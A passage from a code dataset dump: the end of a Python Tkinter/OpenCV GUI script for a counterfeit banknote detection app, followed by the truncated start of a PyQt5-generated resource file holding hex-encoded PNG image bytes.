but_no.place(x=430,y=240, height=50,width=250)\n\n cv2.imshow('image',frame)\n #cv2.waitKey(0) # wait for closing\n #cv2.destroyAllWindows() # Ok, destroy the window\n but['state']=DISABLED\n #up['state']=NORMAL\n print(\"testing1\")\n def des1():\n print(\"hello\")\n cv2.destroyAllWindows() # Ok, destroy the window\n window.after(5000,des1)\n\ndef activate():\n but['state']=NORMAL\n m1.configure(text=\"\")\n message.configure(text=\"Please click on Scan Currency to scan Image\")\n upload['state']=NORMAL\n\nwindow=Tk()\nwindow.geometry('800x700')\nwindow.title(\"COUNTERFEIT NOTES DETECTION\")\nwindow.configure(background='black')\nwindow.resizable(0,0)\n\n\nbut= Button(window, command= scanning, font=(\"Helvestica\",20),bg='black',fg='purple2')\nbut.place(x=300,y=40, height=50, width=250)\nbut['state']=DISABLED\n\nmessage=Label(window,font=(\"Helvestica\",15),bg='black',fg='white')\nmessage.place(x=260,y=130)\n\nup=Button(window,text=\"Start Scanning\", command=scan, font=(\"Helvestica\",20),bg='black',fg='purple2')\nup.place(x=300,y=500, height=50, width=250)\nbut.configure(text=\"Scan Currency\")\nup['state']=DISABLED\n\n\nupload=Button(window,text=\"Browse & Scan\", font=(\"Helvestica\",20),bg='black',fg='purple2', command=scan1)\nupload.place(x=300,y=570, height=50, width=250)\nupload['state']=DISABLED\n\nmessage2=Label(window,font=(\"Helvestica\",25),bg='black',fg='white')\nmessage2.place(x=200,y=350)\n\nmessage3=Label(window,font=(\"Helvestica\",15),bg='black',fg='white')\nmessage3.place(x=250,y=350)\n\nm1=Label(window,font=(\"Helvestica\",25),bg='black',fg='white')\nm1.place(x=300,y=280)\nm1.configure(text=\"LOADING DEPENDENCIES...\")\nwindow.after(20000,activate)\nwindow.mainloop()\n","repo_name":"amogh2004/2020_CSE_16","sub_path":"Final Approach/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7259,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"88378783","text":"# -*- coding: utf-8 -*-\n\n# Resource object code\n#\n# Created by: The Resource Compiler for PyQt5 (Qt v5.12.3)\n#\n# WARNING! All changes made in this file will be lost!\n\nfrom PyQt5 import QtCore\n\nqt_resource_data = b\"\\\n\\x00\\x00\\x34\\xa8\\\n\\x89\\\n\\x50\\x4e\\x47\\x0d\\x0a\\x1a\\x0a\\x00\\x00\\x00\\x0d\\x49\\x48\\x44\\x52\\x00\\\n\\x00\\x02\\x00\\x00\\x00\\x02\\x00\\x08\\x06\\x00\\x00\\x00\\xf4\\x78\\xd4\\xfa\\\n\\x00\\x00\\x00\\x04\\x67\\x41\\x4d\\x41\\x00\\x00\\xb1\\x8f\\x0b\\xfc\\x61\\x05\\\n\\x00\\x00\\x00\\x20\\x63\\x48\\x52\\x4d\\x00\\x00\\x7a\\x26\\x00\\x00\\x80\\x84\\\n\\x00\\x00\\xfa\\x00\\x00\\x00\\x80\\xe8\\x00\\x00\\x75\\x30\\x00\\x00\\xea\\x60\\\n\\x00\\x00\\x3a\\x98\\x00\\x00\\x17\\x70\\x9c\\xba\\x51\\x3c\\x00\\x00\\x00\\x06\\\n\\x62\\x4b\\x47\\x44\\x00\\x00\\x00\\x00\\x00\\x00\\xf9\\x43\\xbb\\x7f\\x00\\x00\\\n\\x33\\x50\\x49\\x44\\x41\\x54\\x78\\xda\\xed\\xdd\\x7b\\xb0\\x65\\x75\\x7d\\xe7\\\n\\xfd\\xf7\\x39\\x7b\\x71\\x95\\x3b\\x8a\\xa8\\x41\\x11\\xc4\\x8d\\xa3\\x88\\x5c\\\n\\x8c\\xac\\x64\\xab\\x38\\x82\\x8e\\x4f\\x69\\xa2\\x56\\x34\\x59\\x12\\x95\\x4a\\\n\\x99\\x49\\x34\\x96\\xa0\\x15\\x6b\\xb0\\xc4\\xa4\\x26\\xc1\\x32\\x53\\xa6\\x14\\\n\\x53\\x26\\x4e\\x26\\x8e\\x85\\x1a\\xed\\x44\\xf3\\x78\\x7f\\xc2\\x08\\xa8\\x88\\\n\\x2b\\x1e\\x50\\x01\\x89\\x1a\\x59\\x20\\x8a\\xb6\\x38\\x5c\\xa4\\xb9\\x4a\\x37\\\n\\xf4\\x59\\x7d\\x9e\\x3f\\xf6\\xee\\x5e\\x7d\\x39\\xe7\\xf4\\xb9\\xec\\xbd\\xbf\\\n\\xeb\\xf2\\x7e\\x55\\x75\\x95\\xd0\\xdd\\x7b\\x7d\\xd6\\x96\\xb3\\xbf\\x9f\\xfd\\\n\\x5b\\xb7\\x19\\x24\\xd5\\x5e\\x5e\\x94\\x33\\xc0\\x3e\\xc0\\x7e\\xc0\\x81\\xc0\\\n\\xc1\\xc0\\x21\\xc0\\xa1\\xc0\\xe1\\xc0\\x61\\xc0\\x11\\xa3\\xff\\xbd\\xfd\\x9f\\\n\\x0f\\x1d\\xfd\\x3a\\x18\\x78\\xd4\\xe8\\xd7\\xfe\\xa3\\xd7\\xd8\\x07\\x98\\xdd\\\n\\xb8\\x69\\x61\\x16\\xd8\\x36\\xfa\\xb5\\x15\\x78\\x18\\xd8\\x02\\xfc\\x6a\\xf4\\\n\\xeb\\x01\\xe0\\xbe\\xd1\\xaf\\x7b\\x81\\x7b\\x46\\xbf\\x36\\xed\\xf4\\xcf\\xf7\\\n\\x01\\xf7\\x8f\\xfe\\xec\\x43\\xa3\\xd7\\xd8\\x9a\\xa5\\xc9\\x42\\xf4\\xfb\\x26\\\n\\x69\\x69\\x33\\xd1\\x01\\xa4\\x2e\\xcb\\x8b\\x12\\x86\\xc3\\xf8\\x20\\x86\\x03\\\n\\xfc\\x68\\xe0\\x18\\xe0\\x38\\xe0\\x04\\xe0\\x44\\xe0\\x19\\xa3\\xdf\\x1f\\xbb\\\n\\x8d\\x9b\\x26\\x3a\\xa3\\x1f\\x04\\xbe\\x0f\\xdc\\x08\\xdc\\x0c\\xfc\\x18\\xd8\\\n\\x08\\xdc\\xce\\xb0\\x40\\x3c\\xc8\\xb0\\x28\\x4c\\x32\\x83\\xa4\\x25\\x58\\x00\\\n\\xa4\\x09\\x1b\\x7d\\x7b\\x3f\\x00\\x38\\x12\\x78\\x22\\xd0\\x07\\x4e\\x06\\x7e\\\n\\x1d\\x38\\x23\\x32\\xdb\\x84\\x0b\\xc0\\x4a\\x5d\\x0d\\x7c\\x0b\\xb8\\x01\\x28\\\n\\x80\\x9f\\x01\\x77\\x03\\x9b\\x5d\\x45\\x90\\x26\\xc7\\x02\\x20\\x8d\\xc9\\x68\\\n\\xd0\\x1f\\x04\\x3c\\x81\\xe1\\x37\\xf7\\x67\\x03\\x67\\x02\\xbf\\x11\\x9d\\x6d\\\n\\x29\\x35\\x29\\x00\\xcb\\xf9\\x26\\x70\\x25\\xf0\\x6d\\x86\\x2b\\x09\\xb7\\x01\\\n\\x0f\\x5a\\x0c\\xa4\\xf5\\xb3\\x00\\x48\\x6b\\x90\\x17\\x65\\x0f\\x78\\x0c\\xc3\\\n\\x6f\\xf3\\xcf\\x01\\x5e\\x0c\\xfc\\xe7\\xe8\\x5c\\xab\\xd5\\x80\\x02\\xb0\\x94\\\n\\xaf\\x02\\x5f\\x06\\xae\\x61\\xb8\\x6a\\x70\\x57\\x96\\x26\\x65\\x74\\x28\\xa9\\\n\\x49\\x2c\\x00\\xd2\\x5e\\x8c\\xbe\\xd9\\x3f\\x1a\\x78\\x1a\\xf0\\x3c\\xe0\\x95\\\n\\xc0\\x29\\xd1\\xb9\\xc6\\xa1\\xc1\\x05\\x60\\x31\\xd7\\x03\\x9f\\x01\\xae\\x02\\\n\\x7e\\x08\\xfc\\xd2\\x95\\x02\\x69\\x69\\x16\\x00\\x69\\x37\\x79\\x51\\xee\\x07\\\n\\x1c\\x0b\\xa4\\xc0\\x2b\\x80\\xdf\\x8a\\xce\\x34\\x29\\x2d\\x2b\\x00\\x8b\\xf9\\\n\\x02\\xf0\\x59\\x60\\x0e\\xb8\\x35\\x4b\\x93\\x87\\xa3\\x03\\x49\\x75\\x61\\x01\\\n\\x50\\xe7\\xe5\\x45\\xb9\\x3f\\xf0\\x54\\xe0\\x85\\xc0\\xeb\\x80\\x67\\x45\\x67\\\n\\x9a\\x96\\x0e\\x14\\x80\\xdd\\x7d\\x17\\xf8\\x18\\xf0\\x15\\xe0\\xa6\\x2c\\x4d\\\n\\xb6\\x44\\x07\\x92\\xa2\\x58\\x00\\xd4\\x39\\x79\\x51\\xee\\x03\\x1c\\x0f\\x9c\\\n\\x05\\xbc\\x81\\xe1\\x19\\xf9\\x9d\\xd4\\xc1\\x02\\xb0\\xbb\\x1b\\x80\\x0f\\x03\\\n\\x57\\x00\\xb7\\x64\\x69\\xb2\\x35\\x3a\\x90\\x34\\x2d\\x16\\x00\\xb5\\xde\\xe8\\\n\\x5a\\xfb\\xc7\\x02\\x03\\xe0\\x5c\\xe0\\xa5\\xd1\\x99\\xea\\xc2\\x02\\xb0\\x87\\\n\\x2f\\x01\\x97\\x00\\x39\\x70\\x87\\xf7\\x28\\x50\\x9b\\x59\\x00\\xd4\\x4a\\xa3\\\n\\x6f\\xf9\\x4f\\x63\\x78\\x0c\\xff\\x1d\\x0c\\xef\\x7e\\xa7\\xdd\\x58\\x00\\x96\\\n\\xf5\\x30\\xf0\\x1e\\x86\\xe7\\x10\\xfc\\xd0\\xd5\\x01\\xb5\\x8d\\x05\\x40\\xad\\\n\\x91\\x17\\xe5\\xa3\\x18\\x5e\\x92\\xf7\\x07\\xc0\\x39\\xd1\\x79\\x9a\\xc0\\x02\\\n\\xb0\\x2a\\x9f\\x00\\x3e\\x02\\x5c\\x93\\xa5\\xc9\\xaf\\xa2\\xc3\\x48\\xeb\\x65\\\n\\x01\\x50\\xa3\\xe5\\x45\\x79\\x28\\xf0\\x7c\\xe0\\x2d\\x0c\\x4f\\xe2\\xd3\\x2a\\\n\\x58\\x00\\xd6\\xec\\x2b\\xc0\\xdf\\x00\\x5f\\xcf\\xd2\\xe4\\xbe\\xe8\\x30\\xd2\\\n\\x5a\\x58\\x00\\xd4\\x38\\x79\\x51\\x1e\\x02\\xbc\\x00\\x78\\x3b\\xf0\\x9b\\xd1\\\n\\x79\\x9a\\xcc\\x02\\x30\\x16\\xff\\x06\\xbc\\x17\\xf8\\x5a\\x96\\x26\\xf7\\x47\\\n\\x87\\x91\\x56\\xca\\x02\\xa0\\x46\\xc8\\x8b\\xf2\\x00\\xe0\\xb9\\xc0\\x9f\\x02\\\n\\x67\\x47\\xe7\\x69\\x0b\\x0b\\xc0\\xd8\\x5d\\x0e\\xfc\\x35\\xf0\\x8d\\x2c\\x4d\\\n\\x36\\x47\\x87\\x91\\x96\\x63\\x01\\x50\\x6d\\x8d\\x6e\\xb7\\x7b\\x0a\\xf0\\x66\\\n\\xe0\\xf5\\xd1\\x79\\xda\\xc8\\x02\\x30\\x51\\x1f\\x05\\x3e\\x08\\x5c\\xef\\x6d\\\n\\x8a\\x55\\x47\\x16\\x00\\xd5\\x4e\\x5e\\x94\\xc7\\x00\\xaf\\x05\\xde\\x1d\\x9d\\\n\\xa5\\xed\\x2c\\x00\\x53\\xf3\\x4e\\xe0\\xe3\\x59\\x9a\\x6c\\x8c\\x0e\\x22\\x6d\\\n\\x67\\x01\\x50\\x2d\\x8c\\x96\\xf8\\xcf\\x02\\xfe\\x0a\\xf8\\x4f\\xd1\\x79\\xba\\\n\\xc2\\x02\\x30\\x75\\xff\\x01\\x5c\\x00\\x5c\\xe1\\x21\\x02\\x45\\xb3\\x00\\x28\\\n\\x54\\x5e\\x94\\xc7\\x03\\x7f\\x02\\xbc\\x35\\x3a\\x4b\\x17\\x59\\x00\\x42\\xbd\\\n\\x1f\\xf8\\xdb\\x2c\\x4d\\x6e\\x89\\x0e\\xa2\\x6e\\xb2\\x00\\x68\\xea\\xf2\\xa2\\\n\\xdc\\x97\\xe1\\xb7\\xfd\\xf7\\x31\\x7c\\x9c\\xae\\x82\\x58\\x00\\x6a\\xa1\\x00\\\n\\xde\\xc6\\x70\\x55\\xe0\\x91\\xe8\\x30\\xea\\x0e\\x0b\\x80\\xa6\\x26\\x2f\\xca\\\n\\xa3\\x18\\xde\\xa4\\xe7\\x3d\\xd1\\x59\\x34\\x64\\x01\\xa8\\x9d\\x77\\x00\\x1f\\\n\\xc9\\xd2\\xe4\\xce\\xe8\\x20\\x6a\\x3f\\x0b\\x80\\x26\\x6a\\x74\\x1f\\xfe\\xa7\\\n\\x03\\x7f\\x06\\xbc\\x3a\\x3a\\x8f\\x76\\x65\\x01\\xa8\\xad\\x4f\\x01\\x7f\\x01\\\n\\xfc\\xc0\\xe7\\x11\\x68\\x52\\x2c\\x00\\x9a\\x88\\xd1\\x25\\x7c\\x67\\x02\\x7f\\\n\\xc7\\xf0\\x51\\xbb\\xaa\\x21\\x0b\\x40\\xed\\xdd\\x04\\xbc\\x09\\xb8\\xd2\\x4b\\\n\\x09\\x35\\x6e\\x16\\x00\\x8d\\x55\\x5e\\x94\\xfb\\x03\\xaf\\x64\\x78\\xdf\\x74\\\n\\xd5\\x9c\\x05\\xa0\\x51\\xce\\x01\\x3e\\x93\\xa5\\xc9\\x96\\xe8\\x20\\x6a\\x07\\\n\\x0b\\x80\\xc6\\x22\\x2f\\xca\\x83\\x19\\x3e\\x6a\\xf7\\x6f\\xa2\\xb3\\x68\\xe5\\\n\\x2c\\x00\\x8d\\xf4\\x16\\xe0\\x92\\x2c\\x4d\\x1e\\x88\\x0e\\xa2\\x66\\xb3\\x00\\\n\\x68\\x5d\\xf2\\xa2\\x3c\\x9c\\xe1\\x65\\x7c\\x7f\\x19\\x9d\\x45\\xab\\x67\\x01\\\n\\x68\\xb4\\x77\\x31\\xbc\\x8c\\xf0\\x9e\\xe8\\x20\\x6a\\x26\\x0b\\x80\\xd6\\x24\\\n\\x2f\\xca\\x23\\x81\\xf3\\x81\\x0b\\xa3\\xb3\\x68\\xed\\x2c\\x00\\xad\\x70\\x11\\\n\\x70\\x71\\x96\\x26\\x77\\x47\\x07\\x51\\xb3\\x58\\x00\\xb4\\x2a\\x79\\x51\\x1e\\\n\\xc1\\xf0\\x9a\\xe5\\x77\\x46\\x67\\xd1\\xfa\\x59\\x00\\x5a\\xe5\\xdd\\xc0\\xfb\\\n\\xb2\\x34\\xd9\\x14\\x1d\\x44\\xcd\\x60\\x01\\xd0\\x8a\\xe4\\x45\\x79\\x28\\x70\\\n\\x1e\\xf0\\xdf\\xa3\\xb3\\x68\\x7c\\x2c\\x00\\xad\\xf4\\xe7\\xc0\\x07\\xb2\\x34\\\n\\xb9\\x2f\\x3a\\x88\\xea\\xcd\\x02\\xa0\\x65\\xe5\\x45\\x79\\x20\\xf0\\x47\\x0c\\\n\\xef\\xda\\xa7\\x96\\xb1\\x00\\xb4\\xda\\xdb\\x80\\xbf\\xcf\\xd2\\xe4\\xa1\\xe8\\\n\\x20\\xaa\\x27\\x0b\\x80\\x16\\x95\\x17\\xe5\\x3e\\xc0\\x6b\\x80\\x4b\\xa2\\xb3\\\n\\x68\\x72\\x2c\\x00\\x9d\\x70\\x2e\\xf0\\xc9\\x2c\\x4d\\xb6\\x46\\x07\\x51\\xbd\\\n\\x58\\x00\\xb4\\x8b\\xbc\\x28\\x67\\x80\\x17\\x03\\x97\\x46\\x67\\xd1\\xe4\\x59\\\n\\x00\\x3a\\xe5\\x25\\xc0\\x97\\xb3\\x34\\xf1\\xff\\x74\\x01\\x30\\x1b\\x1d\\x40\\\n\\xf5\\x91\\x17\\xe5\\x29\\x0c\\x1f\\x4c\\xe2\\xf0\\x97\\xda\\xe7\\x52\\xa0\\xd8\\\n\\x30\\x37\\x7f\\x4a\\x74\\x10\\xd5\\x83\\x2b\\x00\\x22\\x2f\\xca\\x27\\x00\\x17\\\n\\x03\\xbf\\x13\\x9d\\x45\\xd3\\xe5\\x0a\\x40\\x67\\xfd\\x0b\\x70\\x7e\\x96\\x26\\\n\\xb7\\x45\\x07\\x51\\x1c\\x0b\\x40\\x87\\xe5\\x45\\x79\\x00\\xf0\\x56\\x86\\x97\\\n\\x0f\\xa9\\x83\\x2c\\x00\\x9d\\xf7\\x4e\\xe0\\xfd\\x59\\x9a\\x6c\\x8e\\x0e\\xa2\\\n\\xe9\\xb3\\x00\\x74\\xd0\\xe8\\x09\\x7d\\x2f\\x05\\xbe\\x18\\x9d\\x45\\xb1\\x2c\\\n\\x00\\x1a\\x79\\x19\\xf0\\x25\\x9f\\x3c\\xd8\\x2d\\x9e\\x03\\xd0\\x31\\x79\\x51\\\n\\x9e\\x00\\x7c\\x07\\x87\\xbf\\xa4\\xca\\x17\\x81\\xef\\x6c\\x98\\x9b\\x3f\\x21\\\n\\x3a\\x88\\xa6\\xc7\\x15\\x80\\x8e\\x18\\x5d\\xcf\\xff\\x0e\\xbc\\x75\\xaf\\x76\\\n\\xe2\\x0a\\x80\\x16\\x71\\x11\\xf0\\x1e\\xef\\x1f\\xd0\\x7e\\x16\\x80\\x0e\\xc8\\\n\\x8b\\xf2\\x6c\\xe0\\xb2\\xe8\\x1c\\xaa\\x1f\\x0b\\x80\\x96\\xf1\\xa2\\x2c\\x4d\\\n\\x2e\\x8f\\x0e\\xa1\\xc9\\xb1\\x00\\xb4\\x58\\x5e\\x94\\x47\\x03\\xff\\xc0\\xf0\\\n\\x78\\xbf\\xb4\\x07\\x0b\\x80\\xf6\\xe2\\x4b\\xc0\\x1f\\x66\\x69\\x72\\x7b\\x74\\\n\\x10\\x8d\\x9f\\x05\\xa0\\x85\\x46\\x37\\xf3\\x79\\x1d\\xde\\xc5\\x4f\\x7b\\x61\\\n\\x01\\xd0\\x0a\\x9d\\x0b\\x7c\\xcc\\x9b\\x08\\xb5\\x8b\\x27\\x01\\xb6\\x4c\\x5e\\\n\\x94\\x4f\\x06\\x6e\\xc0\\xe1\\x2f\\x69\\x7c\\x2e\\x01\\x6e\\xd8\\x30\\x37\\xff\\\n\\xe4\\xe8\\x20\\x1a\\x1f\\x57\\x00\\x5a\\x22\\x2f\\xca\\x59\\xe0\\x8d\\xc0\\x07\\\n\\xa3\\xb3\\xa8\\x39\\x5c\\x01\\xd0\\x1a\\xbc\\x19\\xf8\\x50\\x96\\x26\\xdb\\xa2\\\n\\x83\\x68\\x7d\\x2c\\x00\\x2d\\x90\\x17\\xe5\\xf1\\xc0\\xff\\x01\\x9e\\x12\\x9d\\\n\\x45\\xcd\\x62\\x01\\xd0\\x1a\\xfd\\x08\\xf8\\x2f\\x59\\x9a\\xdc\\x12\\x1d\\x44\\\n\\x6b\\x67\\x01\\x68\\xb0\\xd1\\xb1\\xfe\\xff\\x0a\\xfc\\xcf\\xe8\\x2c\\x6a\\x26\\\n\\x0b\\x80\\xd6\\xe9\\x8f\\x81\\xff\\xe5\\xb9\\x01\\xcd\\x64\\x01\\x68\\xa8\\xbc\\\n\\x28\\x7f\\x0d\\xf8\\x3c\\x70\\x6a\\x74\\x16\\x35\\x97\\x05\\x40\\x63\\x70\\x1d\\\n\\xf0\\xdb\\x59\\x9a\\xfc\\x3c\\x3a\\x88\\x56\\xc7\\x93\\x00\\x1b\\x28\\x2f\\xca\\\n\\x57\\x01\\x1b\\x71\\xf8\\x4b\\x8a\\x77\\x2a\\xb0\\x71\\xc3\\xdc\\xfc\\xab\\xa2\\\n\\x83\\x68\\x75\\x5c\\x01\\x68\\x90\\xbc\\x28\\x0f\\x01\\x3e\\x0c\\xf8\\x83\\xa6\\\n\\xb1\\x70\\x05\\x40\\x63\\xf6\\x69\\xe0\\x0d\\x59\\x9a\\xdc\\x1f\\x1d\\x44\\x7b\\\n\\x67\\x01\\x68\\x88\\xbc\\x28\\x9f\\x03\\x5c\\x1d\\x9d\\x43\\xed\\x62\\x01\\xd0\\\n\\x84\\x9c\\x91\\xa5\\xc9\\x35\\xd1\\x21\\xb4\\x3c\\x0b\\x40\\xcd\\x8d\\x2e\\xef\\\n\\x7b\\x3b\\xf0\\x57\\xd1\\x59\\xd4\\x3e\\x16\\x00\\x4d\\xd0\\x05\\xc0\\x7b\\xbd\\\n\\x5c\\xb0\\xbe\\x2c\\x00\\x35\\x96\\x17\\xe5\\x63\\x81\\x7f\\xc5\\x63\\xfd\\x9a\\\n\\x10\\x0b\\x80\\x26\\xec\\x3a\\xe0\\xff\\xc9\\xd2\\xe4\\x8e\\xe8\\x20\\xda\\x93\\\n\\x27\\x01\\xd6\\x54\\x5e\\x94\\x67\\x02\\xb7\\xe3\\xf0\\x97\\xd4\\x5c\\xa7\\x02\\\n\\xb7\\x6f\\x98\\x9b\\x3f\\x33\\x3a\\x88\\xf6\\xe4\\x0a\\x40\\xcd\\x8c\\x96\\xfc\\\n\\xdf\\xc1\\xf0\\x91\\x9c\\xd2\\x44\\xb9\\x02\\xa0\\x29\\xba\\x90\\xe1\\x63\\x86\\\n\\x3d\\x24\\x50\\x13\\x16\\x80\\x1a\\xc9\\x8b\\xf2\\x48\\xe0\\x8b\\x40\\x1a\\x9d\\\n\\x45\\xdd\\x60\\x01\\xd0\\x94\\xcd\\x01\\x2f\\xcb\\xd2\\xe4\\xee\\xe8\\x20\\xb2\\\n\\x00\\xd4\\x46\\x5e\\x94\\xa7\\x02\\xd7\\x46\\xe7\\x50\\xb7\\x58\\x00\\x14\\xe4\\\n\\xb4\\x2c\\x4d\\xae\\x8b\\x0e\\xd1\\x75\\x9e\\x03\\x50\\x03\\x79\\x51\\xbe\\x1e\\\n\\x87\\xbf\\xa4\\xee\\xb8\\x76\\xc3\\xdc\\xfc\\xeb\\xa3\\x43\\x74\\x9d\\x2b\\x00\\\n\\x81\\xf2\\xa2\\xdc\\x07\\xf8\\x00\\xc3\\xa7\\xf8\\x49\\x53\\xe7\\x0a\\x80\\x82\\\n\\x7d\\x08\\x38\\x2f\\x4b\\x93\\xad\\xd1\\x41\\xba\\xc8\\x02\\x10\\x24\\x2f\\xca\\\n\\xc7\\x00\\x57\\x01\\x27\\x46\\x67\\x51\\x77\\x59\\x00\\x54\\x03\\x37\\x02\\xcf\\\n\\xcb\\xd2\\xe4\\xae\\xe8\\x20\\x5d\\xe3\\x21\\x80\\x00\\x79\\x51\\x9e\\x0c\\xdc\\\n\\x89\\xc3\\x5f\\x92\\x4e\\x04\\xee\\xdc\\x30\\x37\\x7f\\x72\\x74\\x90\\xae\\xb1\\\n\\x00\\x4c\\x59\\x5e\\x94\\x2f\\x07\\xbe\\x1b\\x9d\\x43\\x92\\x6a\\xe6\\xbb\\x1b\\\n\\xe6\\xe6\\x5f\\x1e\\x1d\\xa2\\x4b\\x3c\\x04\\x30\\x25\\x79\\x51\\x02\\xfc\\x37\\\n\\xbc\\xa5\\xaf\\x6a\\xc4\\x43\\x00\\xaa\\xa1\\x0b\\x80\\xff\\x91\\xa5\\x49\\x74\\\n\\x8e\\xd6\\x73\\x05\\x60\\x0a\\xf2\\xa2\\xdc\\x17\\xf8\\x38\\x0e\\x7f\\x49\\xda\\\n\\x9b\\xbf\\x02\\x3e\\xbe\\x61\\x6e\\x7e\\xdf\\xe8\\x20\\x6d\\xe7\\x0a\\xc0\\x84\\\n\\xe5\\x45\\x79\\x18\\xc3\\x93\\xfd\\x4e\\x8a\\xce\\x22\\xed\\xce\\x15\\x00\\xd5\\\n\\xd8\\xf7\\x18\\x9e\\x1c\\x78\\x6f\\x74\\x90\\xb6\\xb2\\x00\\x4c\\x50\\x5e\\x94\\\n\\x4f\\x02\\x6e\\x8d\\xce\\x21\\x2d\\xc5\\x02\\xa0\\x06\\x38\\x36\\x4b\\x93\\x9f\\\n\\x46\\x87\\x68\\x23\\x0f\\x01\\x4c\\x48\\x5e\\x94\\xa7\\xe0\\xf0\\x97\\xa4\\xf5\\\n\\xba\\x75\\xc3\\xdc\\xfc\\x29\\xd1\\x21\\xda\\xc8\\x02\\x30\\x01\\x79\\x51\\x9e\\\n\\xcd\\xf0\\x31\\x98\\x92\\xa4\\xf5\\xbb\\x6e\\xc3\\xdc\\xfc\\xd9\\xd1\\x21\\xda\\\n\\xc6\\x02\\x30\\x66\\x79\\x51\\xbe\\x06\\xb8\\x2c\\x3a\\x87\\x24\\xb5\\xcc\\x65\\\n\\x1b\\xe6\\xe6\\x5f\\x13\\x1d\\xa2\\x4d\\x2c\\x00\\x63\\x94\\x17\\xe5\\x79\\xc0\\\n\\x27\\xa2\\x73\\x48\\x52\\x4b\\x7d\\x62\\xc3\\xdc\\xfc\\x79\\xd1\\x21\\xda\\xc2\\\n\\x93\\x00\\xc7\\x60\\x74\\x8d\\xff\\x5f\\x32\\x7c\\xde\\xb5\\xd4\\x18\\x9e\\x04\\\n\\xa8\\x86\\xba\\x08\\x78\\x97\\xf7\\x0a\\x58\\x1f\\x57\\x00\\xd6\\x29\\x2f\\xca\\\n\\x59\\xe0\\xef\\x70\\xf8\\x4b\\xd2\\xb4\\x5c\\x08\\xfc\\xdd\\x86\\xb9\\x79\\x67\\\n\\xd8\\x3a\\xf8\\xe6\\xad\\x43\\x5e\\x94\\x09\\xc3\\x25\\x7f\\x9f\\xe6\\x27\\x49\\\n\\xd3\\xf5\\x46\\x86\\x87\\x04\\x5c\\x06\\x58\\x23\\x0b\\xc0\\x1a\\x8d\\xee\\xee\\\n\\xf7\\x05\\xe0\\xf7\\xa2\\xb3\\x48\\x52\\x47\\xfd\\x1e\\xf0\\x05\\xef\\x1a\\xb8\\\n\\x36\\x16\\x80\\x35\\xc8\\x8b\\x72\\x7f\\xe0\\x0a\\xe0\\x25\\xd1\\x59\\x24\\xa9\\\n\\xe3\\x5e\\x02\\x5c\\xb1\\x61\\x6e\\x7e\\xff\\xe8\\x20\\x4d\\x63\\x01\\x58\\xa5\\\n\\xbc\\x28\\x0f\\x60\\x78\\x6b\\xdf\\xe7\\x46\\x67\\x91\\x24\\x01\\xc3\\xcf\\xe3\\\n\\xab\\x36\\xcc\\xcd\\x1f\\x10\\x1d\\xa4\\x49\\x2c\\x00\\xab\\x90\\x17\\xe5\\x81\\\n\\xc0\\x1c\\xf0\\xec\\xe8\\x2c\\x92\\xa4\\x5d\\x3c\\x1b\\x98\\xdb\\x30\\x37\\x7f\\\n\\x60\\x74\\x90\\xa6\\xb0\\x00\\xac\\xd0\\x68\\xf8\\x5f\\x0d\\x9c\\x1c\\x9d\\x45\\\n\\x92\\xb4\\xa8\\x93\\x81\\xab\\x2d\\x01\\x2b\\x63\\x01\\x58\\x81\\xd1\\xb2\\xff\\\n\\x37\\xf1\\x89\\x7e\\x92\\x54\\x77\\x27\\x01\\xdf\\xf4\\x70\\xc0\\xde\\x59\\x00\\\n\\xf6\\x62\\x74\\xc2\\xdf\\xd7\\xf1\\x9b\\xbf\\x24\\x35\\xc5\\xc9\\xc0\\xd7\\x3d\\\n\\x31\\x70\\x79\\x16\\x80\\x65\\x8c\\x2e\\xf5\\xbb\\x0c\\x8f\\xf9\\x4b\\x52\\xd3\\\n\\x3c\\x9b\\xe1\\xf3\\x03\\xbc\\x44\\x70\\x09\\x16\\x80\\x25\\x8c\\x6e\\xf2\\xf3\\\n\\x39\\x3c\\xdb\\x5f\\x92\\x9a\\xea\\xb9\\xc0\\xe7\\xbc\\x59\\xd0\\xe2\\x2c\\x00\\\n\\x8b\\x18\\xdd\\xde\\xf7\\xe3\\x78\\x9d\\xbf\\x24\\x35\\xdd\\x4b\\x80\\x8f\\x7b\\\n\\xdb\\xe0\\x3d\\xf9\\x86\\xec\\x66\\xf4\\x60\\x9f\\x0f\\xe2\\x1d\\xfe\\x24\\xa9\\\n\\x2d\\x7e\\x0f\\xf8\\xe0\\x86\\xb9\\xf9\\xe8\\x1c\\xb5\\x62\\x01\\xd8\\xd3\\x5f\\\n\\xe2\\xbd\\xfd\\x25\\xa9\\x6d\\xde\\xc8\\xf0\\xf3\\x5d\\x23\\x16\\x80\\x9d\\xe4\\\n\\x45\\x79\\x1e\\x3e\\xd5\\x4f\\x92\\xda\\xea\\xc2\\x0d\\x73\\xf3\\xe7\\x45\\x87\\\n\\xa8\\x0b\\x0b\\xc0\\x48\\x5e\\x94\\xaf\\x01\\x2e\\x8e\\xce\\x21\\x49\\x9a\\xa8\\\n\\x8b\\x37\\xcc\\xcd\\xbf\\x26\\x3a\\x44\\x1d\\x58\\x00\\x80\\xbc\\x28\\xcf\\x66\\\n\\xf8\\x58\\x5f\\x49\\x52\\xfb\\x7d\\x62\\xc3\\xdc\\xfc\\xd9\\xd1\\x21\\xa2\\x75\\\n\\xbe\\x00\\xe4\\x45\\x79\\x0a\\xc3\\x6b\\xfd\\x25\\x49\\xdd\\x71\\xd9\\x86\\xb9\\\n\\xf9\\x53\\xa2\\x43\\x44\\xea\\x74\\x01\\xc8\\x8b\\xf2\\x49\\xc0\\x75\\xd1\\x39\\\n\\x24\\x49\\x21\\xae\\xdb\\x30\\x37\\xff\\xa4\\xe8\\x10\\x51\\x3a\\x5b\\x00\\xf2\\\n\\xa2\\x3c\\x0c\\xb8\\x35\\x3a\\x87\\x24\\x29\\xd4\\xad\\x1b\\xe6\\xe6\\x0f\\x8b\\\n\\x0e\\x11\\xa1\\x93\\x05\\x60\\x74\\x8b\\xdf\\xab\\xa2\\x73\\x48\\x92\\x6a\\xe1\\\n\\xaa\\x2e\\xde\\x32\\xb8\\x73\\x05\\x60\\x74\\xa3\\x9f\\xff\\x8d\\x4f\\xf6\\x93\\\n\\x24\\x0d\\x9d\\x04\\xfc\\xef\\xae\\xdd\\x28\\xa8\\x73\\x05\\x00\\xf8\\x6f\\xc0\\\n\\xef\\x47\\x87\\x90\\x24\\xd5\\xca\\xef\\x33\\x9c\\x0f\\x9d\\x31\\x13\\x1d\\x60\\\n\\x9a\\xf2\\xa2\\x7c\\x39\\xf0\\xd9\\xe8\\x1c\\x52\\x5d\\x6c\\xdc\\xb4\\x10\\x1d